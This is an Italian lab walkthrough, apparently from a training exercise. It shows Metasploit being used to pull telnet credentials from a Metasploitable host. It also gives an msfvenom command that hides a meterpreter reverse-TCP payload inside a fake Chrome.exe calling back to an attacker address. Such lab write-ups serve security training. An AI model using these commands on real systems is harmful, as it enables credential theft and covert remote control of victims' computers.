```
23/tcp   open  telnet      Linux telnetd
```
Questo è il servizio attivo sulla metasploitable che ci interessa, quindi entriamo su msfconsole e digitiamo: “search type:auxiliary telnet”.

```
auxiliary/scanner/telnet/telnet_encrypt_overflow
```
Questo è l’auxiliary che ci interessa che selezioniamo col comando “use”.

Una volta dentro controlliamo quali opzioni sono configurate, a noi interessa configurare l’host target con “RHOST”.
Ora l’attacco è configurato e non ci resta che runnarlo con “run”.

```
msfdev[at]metasploit.com\x0a\x0aLogin with msfadmin/msfadmin
```

Questo è il risultato quindi nome utente e password per accedere al servizio telnetd.

```
msfvenom -p windows/x64/meterpreter_reverse_tcp LHOST=192.168.50.100 LPORT=4488 -x chrome.exe -f exe -o Chrome.exe
```

Per l’extra ho iniettato un payload malevolo nell’eseguibile di chrome con questo codice, poi con msfconsole ho usato multi/handler ed ho cliccato sull’icona di chrome così mi sono collegato in reverse_tcp.